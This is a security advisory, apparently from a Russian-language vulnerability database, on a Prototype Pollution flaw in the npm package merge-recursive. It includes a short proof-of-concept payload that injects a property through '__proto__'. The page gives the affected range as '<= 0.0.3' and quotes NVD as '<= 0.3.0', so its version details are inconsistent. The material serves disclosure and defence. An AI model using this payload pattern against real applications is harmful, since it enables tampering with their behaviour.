Описание
Prototype Pollution in merge-recursive
All versions of merge-recursive are vulnerable to Prototype Pollution. When malicious user input is merged with another object it allows the attacker to modify the prototype of Object via __proto__ causing the addition or modification of an existing property.
Proof of concept:
var merge = require('merge-recursive').recursive;
var malicious_payload = '{"__proto__":{"oops":"It works !"}}';
var a = {};
console.log("Before : " + a.oops);
merge({}, JSON.parse(malicious_payload));
console.log("After : " + a.oops);
Recommendation
There is currently no fix available.
Пакеты
Наименование
merge-recursive
npm
Затронутые версииВерсия исправления
<= 0.0.3
Отсутствует
Связанные уязвимости
CVSS3: 9.8
nvd
больше 7 лет назад
The utilities function in all versions <= 0.3.0 of the merge-recursive node module can be tricked into modifying the prototype of Object when the attacker can control part of the structure passed to this function. This can let an attacker add or modify existing properties that will exist on all objects.